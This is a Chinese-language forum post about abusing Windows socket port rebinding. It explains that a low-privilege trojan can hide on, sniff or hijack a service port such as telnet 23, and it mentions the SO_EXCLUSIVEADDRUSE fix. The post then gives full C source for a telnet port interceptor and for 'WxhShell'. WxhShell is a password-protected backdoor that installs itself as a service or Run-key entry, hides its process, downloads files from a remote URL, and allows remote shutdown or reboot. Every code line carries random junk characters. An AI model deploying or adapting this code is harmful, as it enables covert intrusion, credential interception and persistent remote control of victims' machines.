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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZOp^`c9~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vuXS/ d  
HF]EU!OT  
  saddr.sin_family = AF_INET; p7s@%scp  
>o#ERNf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h(_P9E[g  
~xw5\Y^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,`y yR:F  
4b]_ #7Qm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #hpIyy%n  
F#B5sLNb  
  这意味着什么?意味着可以进行如下的攻击: XjxPIdX_H  
>jv\Qh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $.wA?`1aSk  
o/WC@!wg K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !Ri r&gF  
8qN"3 Et  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V>B'+b+<  
m*`cuSU|o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4\\.n  
i=-8@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eI0F!Yon  
R+d< fe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w(Gz({l+  
kymn)Ea  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '[Xl>Z[  
0potz]}  
  #include \04mLIJr9  
  #include |gW    
  #include 3524m#4&@  
  #include    Qo.Uqz.C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   alc]  
  int main() DKTD Z*  
  { "?P[9x}  
  WORD wVersionRequested; L@nebT;\'  
  DWORD ret; F;pQ\Y  
  WSADATA wsaData; zFywC-my@  
  BOOL val; !9DX=?  
  SOCKADDR_IN saddr; jQ?LHUE  
  SOCKADDR_IN scaddr; p'g^Wh  
  int err; %&tb9_T)d  
  SOCKET s; .1LPlZ  
  SOCKET sc; gJh}CrU-  
  int caddsize; 2 Kl a8  
  HANDLE mt; Sl"BK0:%7  
  DWORD tid;   K^aj@2K{  
  wVersionRequested = MAKEWORD( 2, 2 ); }"n7~|  
  err = WSAStartup( wVersionRequested, &wsaData ); qi&D+~Gv!  
  if ( err != 0 ) { U;p e:  
  printf("error!WSAStartup failed!\n"); 1M+oTIN  
  return -1; N 'i,>  
  } IM=+3W;ak  
  saddr.sin_family = AF_INET; %l]Rh/VPn?  
   mB`D}g$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MxTmWsaW  
]-:1se  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); doM?8C#`  
  saddr.sin_port = htons(23); Ig9d#c  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g_vm&~U/'  
  { GD&htob(  
  printf("error!socket failed!\n"); w4,]2Ccn.  
  return -1; /&(1JqzlB  
  } e #M iaX  
  val = TRUE; +I@cO&CY|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iDw.i"b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &\^rQi/tf  
  { U-g9C.  
  printf("error!setsockopt failed!\n"); yUe+":7k.  
  return -1; =Dk7RKoHF  
  } t8/%D gu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yj zK.dM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~RInN+N#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @VK6JjIq  
ZdH1nX(Yh3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /c#l9&,  
  { ! Mo`^ t  
  ret=GetLastError(); !y. $J<  
  printf("error!bind failed!\n"); aMJ;bQD  
  return -1; 6,+nRiZ  
  } B |&F%P0:  
  listen(s,2); a$$ Wt<&Y  
  while(1) QPs:RhV7  
  { [7.agI@=  
  caddsize = sizeof(scaddr); YE\K<T jH  
  //接受连接请求 7$7n71o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H\#:,s{1  
  if(sc!=INVALID_SOCKET) ")%r}:0  
  { [!~}S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q@ZlJ3%l,  
  if(mt==NULL) |')-VhLLK  
  { NXI[q 'y  
  printf("Thread Creat Failed!\n"); hcyO97@r  
  break; S-!=NX&C  
  } 0 iR R{a<  
  } "hPCQp`Tj  
  CloseHandle(mt); 6/1$< !WH  
  } V`bs&5#Sx  
  closesocket(s); si(cOCj/  
  WSACleanup(); ($>XIb9f  
  return 0; [s}/nu~U  
  }   8r^ ~0nm  
  DWORD WINAPI ClientThread(LPVOID lpParam) h1f8ktF  
  { !` 26\@1  
  SOCKET ss = (SOCKET)lpParam; K5`Rk" s  
  SOCKET sc; <2<87PU  
  unsigned char buf[4096]; pbLGe'  
  SOCKADDR_IN saddr; d~Mg vh'  
  long num; i_ QcC  
  DWORD val; BJ5}GX!  
  DWORD ret; JJnYOau  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jg_n7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @Y-TOCadT  
  saddr.sin_family = AF_INET; 0^&!6R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2|{V,!/cvG  
  saddr.sin_port = htons(23); l r~gG3   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hs(W;tR@W  
  { ;LMWNy4  
  printf("error!socket failed!\n"); c1%rV`)]  
  return -1; _|zBUrN  
  } 62\&RRB i  
  val = 100; XYfv(y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %|+E48  
  { q3S+Y9L  
  ret = GetLastError(); ST;t, D:  
  return -1; &&7r+.Y  
  } Oy_c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j@| `f((4  
  { Eju~}:Lo  
  ret = GetLastError(); WG5W0T_  
  return -1; fdv`7u+}a  
  } BsLG^f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f/y`  
  { DWm SC}{.  
  printf("error!socket connect failed!\n"); n:4uA`Vg  
  closesocket(sc); Z cpmquf8L  
  closesocket(ss); /3B6 Mtb  
  return -1; 1%`7.;!i  
  } b{5K2k&,  
  while(1) Tlodn7%",  
  { ]KuMz p!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]'h; {;ug  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XG 0v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VQxpN 1  
  num = recv(ss,buf,4096,0); _Qd,VE 8u  
  if(num>0) o6L9UdT   
  send(sc,buf,num,0); !')y&7a~  
  else if(num==0) n]N96oD  
  break; Zj VWxQ  
  num = recv(sc,buf,4096,0); L1 #Ij#  
  if(num>0) bx}fj#J]En  
  send(ss,buf,num,0); b,<9  
  else if(num==0) )/|6'L-2  
  break; UVEz;<5@\  
  } J4aB Pq`  
  closesocket(ss); q_t4OrLr=  
  closesocket(sc); KQ`=t   
  return 0 ; W?XizTW  
  } 1*Ar{:+ua  
,Em$!n  
.}`hCt08  
========================================================== _*6v|Ed?  
k\7:{y@,  
下边附上一个代码,,WXhSHELL m*e YC  
^^Jnv{)  
========================================================== =? :@  
e/s(ojDW  
#include "stdafx.h" DQXS$uBT  
:c]`D>  
#include <stdio.h> Q-eCHr)  
#include <string.h> g,kzQ}_  
#include <windows.h> uT_!'l$fr  
#include <winsock2.h> !#x=JX  
#include <winsvc.h> ;#k-)m%  
#include <urlmon.h> q/gB<p9  
G/?~\ }:s  
#pragma comment (lib, "Ws2_32.lib") R,_d1^|*w  
#pragma comment (lib, "urlmon.lib") >e&:`2%.  
Y+-xvx :  
#define MAX_USER   100 // 最大客户端连接数 6Bt=^~d  
#define BUF_SOCK   200 // sock buffer <4`eQ  
#define KEY_BUFF   255 // 输入 buffer ;4#D,zlO^  
LE=k  
#define REBOOT     0   // 重启 |m G7XL,  
#define SHUTDOWN   1   // 关机 0ejdKdYN  
0$P/jt  
#define DEF_PORT   5000 // 监听端口 mpay^.(%  
-J0WUN$2*  
#define REG_LEN     16   // 注册表键长度 ^TFs;|..  
#define SVC_LEN     80   // NT服务名长度 d- E4~)Qy  
zO=%J)-=  
// 从dll定义API 2eP ;[o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C>QIrZu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XcfKx@l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0$vj!-Mb^j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); adO&_NR  
Mi7y&~,  
// wxhshell配置信息 pchBvly+0  
struct WSCFG { !1sU>Xb4J  
  int ws_port;         // 监听端口 \f Lvw  
  char ws_passstr[REG_LEN]; // 口令 ;/8{N0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^ 4hO8  
  char ws_regname[REG_LEN]; // 注册表键名 O m'(mr  
  char ws_svcname[REG_LEN]; // 服务名 `,>wC+}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O&Z' r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kBEmmgL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "$^0%-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no } :?.>#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" " Ar*QJ0]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <,1 fkq>,  
C;rG]t^%  
}; KFWJ}pNq  
 _^t-9  
// default Wxhshell configuration {G i h&N  
struct WSCFG wscfg={DEF_PORT, z3 ?\:Yz  
    "xuhuanlingzhe", `NNf&y)y  
    1, 6f%DpJ:$U  
    "Wxhshell", RMXzU  
    "Wxhshell", @xWdO,#  
            "WxhShell Service", ,"?A2n-qO  
    "Wrsky Windows CmdShell Service", w~\%vXla  
    "Please Input Your Password: ", JBX[bx52<r  
  1, QLq@u[A  
  "http://www.wrsky.com/wxhshell.exe", 8Jr?ZDf`  
  "Wxhshell.exe" 8<#U9]  
    }; rR{,)fX;  
4sF v?W  
// 消息定义模块 ":W%,`@$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tiaR4PB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L/r@ S'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IMLsQit*  
char *msg_ws_ext="\n\rExit."; P`SnavQBt  
char *msg_ws_end="\n\rQuit."; /!&R9!6 :  
char *msg_ws_boot="\n\rReboot..."; ]]iPEm"@  
char *msg_ws_poff="\n\rShutdown..."; WQePSU  
char *msg_ws_down="\n\rSave to "; }iN2KeLAF  
t}p@:'  
char *msg_ws_err="\n\rErr!"; HK=[U9 o?  
char *msg_ws_ok="\n\rOK!"; NX6nQ  
' [0AHM  
char ExeFile[MAX_PATH]; `sHuM*  
int nUser = 0; +V(5w`qx  
HANDLE handles[MAX_USER]; ]Yyia.B  
int OsIsNt; t-e5ld~a  
|;vi*u  
SERVICE_STATUS       serviceStatus; Sfjje4R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K`KLC.j  
HeN~c<NuB  
// 函数声明 v90T{1+M|4  
int Install(void); j2n,f7hl.  
int Uninstall(void); Jobiq]|>  
int DownloadFile(char *sURL, SOCKET wsh); U]4pA#*{|  
int Boot(int flag); yfNX7  
void HideProc(void); y&J@?Hc>  
int GetOsVer(void); *TdnB'Gd  
int Wxhshell(SOCKET wsl); 4&^9Wklj  
void TalkWithClient(void *cs); j . A6S`  
int CmdShell(SOCKET sock); >v5k{Cbp0  
int StartFromService(void); S01wwZ  
int StartWxhshell(LPSTR lpCmdLine); N=1JhjVk"  
BN_7Ay/k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5i So8*9}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (Ye>Cp+]  
WOytxE  
// 数据结构和表定义 O9h+Q\0\W  
SERVICE_TABLE_ENTRY DispatchTable[] = gPC@Yy  
{ v"DL'@$Ut{  
{wscfg.ws_svcname, NTServiceMain}, !Jfs?Hy  
{NULL, NULL}  b`mj_b  
}; *JCQu0  
E8}+k o  
// 自我安装 !b|'Vp^U  
int Install(void) .w? .ib(  
{ s4= "kT]  
  char svExeFile[MAX_PATH]; =([av7  
  HKEY key; !^fa.I'mM  
  strcpy(svExeFile,ExeFile); ^s/  
c@m5 ~  
// 如果是win9x系统,修改注册表设为自启动 D%/8{b:  
if(!OsIsNt) { 6vzk\n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \>/M .2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HRa@  
  RegCloseKey(key); T5lQIr@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xycH~ ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+:D)L  
  RegCloseKey(key); Jc*XXu)  
  return 0; kMxazx1  
    } tJI,r_  
  } _O:WG&a6  
} F1azZ (  
else { o@E/r.uK  
-7-['fX  
// 如果是NT以上系统,安装为系统服务 ) |#%Czd4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p#d+>7  
if (schSCManager!=0) xBnbF[  
{ Zf*r2t1&P  
  SC_HANDLE schService = CreateService KU&G;ni2  
  ( _Tm0x>EM  
  schSCManager, ?[)S7\rP  
  wscfg.ws_svcname, r8MZvm2  
  wscfg.ws_svcdisp, TQ :/RT  
  SERVICE_ALL_ACCESS, d4^`}6@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wVK*P -C  
  SERVICE_AUTO_START, QGnxQ{ko  
  SERVICE_ERROR_NORMAL, }qPhx6nP  
  svExeFile, 'md0]R|  
  NULL, 1qdZ c_x  
  NULL, f>Td)s1 M  
  NULL, uYO|5a<f~  
  NULL, 6iezLG 5  
  NULL PFSLyV*  
  ); 1'w:`/_  
  if (schService!=0) yWIm&Q:  
  { eOl KbJU  
  CloseServiceHandle(schService); |?m` xO  
  CloseServiceHandle(schSCManager); tOdT[&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /ONV5IkPy  
  strcat(svExeFile,wscfg.ws_svcname); :Waox"#=g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !3&kQpF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8|1^|B(l  
  RegCloseKey(key); 8s}J!/2  
  return 0; zi]%Zp  
    } +RZ~LA \+  
  } =ZYThfAEw  
  CloseServiceHandle(schSCManager); Y#V8(DTyH  
} P<dy3 ;  
} VkmRh,T  
DtCEm(b0  
return 1; 8pZ< 9t'  
} =o dkz}bU  
KlxN~/gyik  
// 自我卸载 >O`l8tM  
int Uninstall(void) eBW=^B"y+  
{ Jcf"#u-Q/  
  HKEY key; P!g-X%ngo  
X~T/qFS   
if(!OsIsNt) { C"<s/h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Vh=5J~  
  RegDeleteValue(key,wscfg.ws_regname); my\&hCE  
  RegCloseKey(key); Iq5pAHm>M6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xh3;   
  RegDeleteValue(key,wscfg.ws_regname); .#6MQJ]OH  
  RegCloseKey(key); RNJ FSD.  
  return 0; NC23Z0y  
  } '%iPVHK7  
} PBqy F  
} +",S2Qmo  
else { {5Lj8 N5  
('k<XOi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @M;(K<%h  
if (schSCManager!=0) ?s%v0cF  
{ $< %B#axL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |WqOk~)[Z3  
  if (schService!=0) 7v~j=Z>  
  { 'VnwG  
  if(DeleteService(schService)!=0) { Ggm` ~fS  
  CloseServiceHandle(schService); T.&7sbE_  
  CloseServiceHandle(schSCManager); XJ\hd,R   
  return 0; 3fS}:!sQ  
  } xh9qg0d  
  CloseServiceHandle(schService); %|Qw9sbd  
  } rs8\)\z  
  CloseServiceHandle(schSCManager); B&KL2&Z~Pq  
} {ShgJ ;! Q  
} l[h'6+o  
+Ghi}v  
return 1; y=N"=Z  
} D@54QJ<  
kEN#u  
// 从指定url下载文件 %CH6lY=lI  
int DownloadFile(char *sURL, SOCKET wsh) ]?l{j  
{ 0%C^8%(x  
  HRESULT hr; C 0C0GqN,  
char seps[]= "/"; H'g?llh1J  
char *token; 4cgIEw[6  
char *file; 0irr7Y  
char myURL[MAX_PATH]; =]>%t]  
char myFILE[MAX_PATH]; Ww9;UP'G  
rzLd"`  
strcpy(myURL,sURL); gSi5u# }J  
  token=strtok(myURL,seps); HMQI&Lh=U  
  while(token!=NULL) ZW4aY}~)$  
  { mf$j03tu  
    file=token; YcM;S  
  token=strtok(NULL,seps); t 0O4GcAN  
  } L10IF  
%_)zWlN  
GetCurrentDirectory(MAX_PATH,myFILE); |"7Pv skT  
strcat(myFILE, "\\"); S3 \jcgrS  
strcat(myFILE, file); Epjff@ 7A  
  send(wsh,myFILE,strlen(myFILE),0); @PkJY  
send(wsh,"...",3,0); vs9?+3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H oy7RC&  
  if(hr==S_OK) RIy\u >  
return 0; r|Zi3+  
else 7Ua7A  
return 1; Zr/r2  
gQVBA %  
} e1(h</MU2  
RXSf,O  
// 系统电源模块 __N.#c/l{  
int Boot(int flag) !vqC+o>@  
{ N+Sq}hI  
  HANDLE hToken; s;.=5wcvi?  
  TOKEN_PRIVILEGES tkp; R,0Oq5  
$Xf(^K  
  if(OsIsNt) { G2Qjoe`Uc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DZ`k[Z.VZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Viy^ieN$  
    tkp.PrivilegeCount = 1; V|?WF&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yv\!vW7I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g`Md80*Zfk  
if(flag==REBOOT) { 00<{:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >M4"|W U_  
  return 0; =4NqjSH  
} ;bjnL>eW  
else { .]t5q%}j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4O$2]D.\  
  return 0; L]-w;ll-  
} ;iX<`re~  
  } YMB~[]$V<  
  else { 3)E(RyQA3  
if(flag==REBOOT) { Y`li> .\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >)Dhi+D  
  return 0; ,;iA2  
} JeQ[qQ  
else { s-D?)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ([pSVOnIz  
  return 0; oXal  
} ~<O,Vs_C/  
} \+B?}P8N*l  
JZx%J)  
return 1; [X"k> Sq  
} VTw/_Hf2p  
W<'<'z5  
// win9x进程隐藏模块 $$gtZ{ukQ  
void HideProc(void) 0s%6n5>  
{ hPO>,j^  
Q<=Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O% $O(l  
  if ( hKernel != NULL ) :JV\){P  
  { KTmaglgp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CT"Fk'B'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k|j:T[_  
    FreeLibrary(hKernel); +VOb  
  } w-rOecwFvu  
[ b1hC ~I;  
return; [thboP.?  
} SMO*({/  
.ZX2^)`XD  
// 获取操作系统版本 xZ ;bMxZ  
int GetOsVer(void) 3M*Y= ?pI  
{ [j0w\{  
  OSVERSIONINFO winfo; Vyt E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]P3[.$z  
  GetVersionEx(&winfo); [x_s/"Md;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rm|7 [mK  
  return 1; %V_eJC""?  
  else mw+j|{[  
  return 0; jT^!J+?6K+  
} 0xP:9rm  
{hd-w4"115  
// 客户端句柄模块 OmNn,PCl8  
int Wxhshell(SOCKET wsl) # "r kuDO  
{ `ue?Z%p|  
  SOCKET wsh; Phlk1*1n  
  struct sockaddr_in client; \(u@F<s-  
  DWORD myID; WOb8 "*OM  
# #>a&,  
  while(nUser<MAX_USER) ptR  
{ 2PBepgQyPU  
  int nSize=sizeof(client); !%62Phai  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;1E_o  
  if(wsh==INVALID_SOCKET) return 1; 9[{sEg=C$e  
O5MDGg   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B9W/bJ6%  
if(handles[nUser]==0) "::9aYd!  
  closesocket(wsh); ~d+O/:=K_  
else .0 X$rX=  
  nUser++; lC{L6&T  
  } V.j#E 1P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FO^24p  
?*o;o?5s^  
  return 0; LDX y}hm)  
} fLM.k CD?u  
+$ ~8)95<B  
// 关闭 socket ZgBckb  
void CloseIt(SOCKET wsh) G5u meqYC  
{ n)CH^WHL&  
closesocket(wsh); Rp eBm#E2  
nUser--; 'FxYMSZS$  
ExitThread(0); BvJ\x)  
} ^0eO\wc?O  
ybYXD?  
// 客户端请求句柄 -x?Hj/  
void TalkWithClient(void *cs) D(@SnI+  
{ \E&thp  
Zh? V,39  
  SOCKET wsh=(SOCKET)cs; .h6Y< E  
  char pwd[SVC_LEN]; wRi~Yb?  
  char cmd[KEY_BUFF]; T>5wQYh$'  
char chr[1]; lb95!.av+I  
int i,j; )<Ob  
|VYr=hjo  
  while (nUser < MAX_USER) { I1v@\Rb  
`\e'K56W6  
if(wscfg.ws_passstr) { 4w9F+*-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gl"wEL*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QpJ IDM/  
  //ZeroMemory(pwd,KEY_BUFF); SZE`J:w  
      i=0; APOea  
  while(i<SVC_LEN) { .S(^roM;+  
~D_ rZ&  
  // 设置超时 :SdIU36  
  fd_set FdRead; C#T)@UxBZ  
  struct timeval TimeOut; .W-=x,`hY4  
  FD_ZERO(&FdRead); . Nk6  
  FD_SET(wsh,&FdRead); *NF&Y  
  TimeOut.tv_sec=8; GJ>ypEWo  
  TimeOut.tv_usec=0; l`qP~ k#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s)Gb!-``  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1"d\ mE  
C?(y2p`d\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w4aiI2KFq  
  pwd=chr[0]; Uv'uqt  
  if(chr[0]==0xd || chr[0]==0xa) { 9QZ}Hn`p  
  pwd=0; 5@iy3olP  
  break; Sn0Xl3yr  
  } sB8p( L  
  i++; ID+,[TM`  
    } W=F3XYS  
+O,V6XRr  
  // 如果是非法用户,关闭 socket Ho>p ^p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QdirE4W  
} x6jm -n  
35}P0+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6\XP|n-0+0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &'NQ)Dn  
tRkrV]K  
while(1) { zK,~37)\  
L#[HnsLp_  
  ZeroMemory(cmd,KEY_BUFF); c.\:peDk  
svF*@(- P#  
      // 自动支持客户端 telnet标准   EJv!tyJ\[  
  j=0; ;+r0 O0;9  
  while(j<KEY_BUFF) { tI `w;e%HN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "3v7gtGG  
  cmd[j]=chr[0]; -5o?#%  
  if(chr[0]==0xa || chr[0]==0xd) { Hc>([?P%t  
  cmd[j]=0; 8R&z3k;!t  
  break; XpOCQyFnM  
  } 1X Q87~  
  j++; )!BB/'DRQ  
    } KqFmFcf|  
_AVy:~/  
  // 下载文件 +V6j`  
  if(strstr(cmd,"http://")) { uAChu]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =":@Foa  
  if(DownloadFile(cmd,wsh)) ZjE~W>pkQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qmQFHC_  
  else Lax9 "xI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7eTA`@v5A  
  } ;.L!%$0i#  
  else { `Uu^I   
D5}DV  
    switch(cmd[0]) { pn+D@x#IA  
   'Dnq+  
  // 帮助 4 3}qaf[  
  case '?': { -v;iMEZ)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K@I+]5E%?  
    break; X5|?/aR}  
  } 4GEjW4E  
  // 安装 jBT*~DyN z  
  case 'i': { o@Dk%LxP  
    if(Install()) wHq('+{=&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r#ks>s  
    else #d3[uF]OmW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AX/=}G  
    break; &mCs%l  
    } 0m qS A  
  // 卸载 rHH#@ Zx  
  case 'r': { rD_Ss.\^g  
    if(Uninstall()) 7$;c6_se  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JiG8jB7%}  
    else c"6Kd$?M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $XU-[OF%:9  
    break; ^!N;F"  
    } Vx0MG{vG1  
  // 显示 wxhshell 所在路径 7MR:X#2v>  
  case 'p': { :k Rv  
    char svExeFile[MAX_PATH]; pIk4V/ fy  
    strcpy(svExeFile,"\n\r"); ,q{lYX83S  
      strcat(svExeFile,ExeFile); 0%vixR52  
        send(wsh,svExeFile,strlen(svExeFile),0); t201ud2$  
    break; hj%}GP{{  
    } aMe%#cLI  
  // 重启 =iA"; x  
  case 'b': { r9U[-CX:"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <6~/sa4GN  
    if(Boot(REBOOT)) A{xSbbDk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y}s 0J K  
    else { 4yJ01s  
    closesocket(wsh); D7 8) 4>X  
    ExitThread(0); Z?.:5#  
    } jFI]54,  
    break; \z(>h&  
    } ={e#lC  
  // 关机 $u/8Rp  
  case 'd': { W+fkWq7`Xx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &1\u#LU  
